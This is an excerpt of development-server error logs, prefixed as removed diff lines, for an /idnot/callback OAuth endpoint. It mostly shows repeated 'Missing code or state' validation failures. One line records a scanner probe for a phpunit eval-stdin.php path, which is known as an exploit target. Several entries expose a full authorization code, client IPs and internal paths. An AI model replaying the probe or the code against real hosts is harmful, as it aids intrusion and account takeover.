Chrome/52.0.2743.116 Safari/537.36' - }, - requestId: 'req_1758636143629_afhx58b8e', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:07:00.348Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758636420347_rnwpttt5v' -} -❌ [ERROR] 2025-09-23T14:07:00.349Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758636420347_rnwpttt5v', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:10:44.117Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758636644116_l48ww7oz4' -} -❌ [ERROR] 2025-09-23T14:10:44.118Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758636644116_l48ww7oz4', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T14:11:36.300Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758636696299_jll4qvvx7', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:13:27.168Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758636807168_0lih9leqf' -} -❌ [ERROR] 2025-09-23T14:13:27.169Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758636807168_0lih9leqf', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T14:17:21.755Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:165.154.204.121', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36' - }, - requestId: 'req_1758637041754_sk9npa5su', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:19:54.115Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758637194115_cw2b92ha2' -} -❌ [ERROR] 2025-09-23T14:19:54.116Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758637194115_cw2b92ha2', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:26:25.096Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758637585095_ocz55d83a' -} -❌ [ERROR] 2025-09-23T14:26:25.096Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758637585095_ocz55d83a', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:32:56.266Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758637976265_kvskletff' -} -❌ [ERROR] 2025-09-23T14:32:56.267Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758637976265_kvskletff', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T14:33:20.980Z HTTP GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 5, - request: { - ip: '::ffff:92.243.24.12', - method: 'GET', - url: '/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php', - userAgent: 'Custom-AsyncHttpClient' - }, - requestId: 'req_1758638000975_9b5gspjnj', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:38:36.650Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758638316649_rjht420n8' -} -❌ [ERROR] 2025-09-23T14:38:36.653Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 4, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758638316649_rjht420n8', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:39:30.446Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758638370445_mda0q08wl' -} -❌ [ERROR] 2025-09-23T14:39:30.447Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758638370445_mda0q08wl', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:46:04.959Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758638764954_mcqiuwer8' -} -❌ [ERROR] 2025-09-23T14:46:04.962Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 7, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758638764954_mcqiuwer8', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:51:46.241Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758639106240_d4zn972jj' -} -❌ [ERROR] 2025-09-23T14:51:46.242Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758639106240_d4zn972jj', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:52:44.250Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758639164249_rh34r7cd0' -} -❌ [ERROR] 2025-09-23T14:52:44.251Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758639164249_rh34r7cd0', - response: { - statusCode: 400 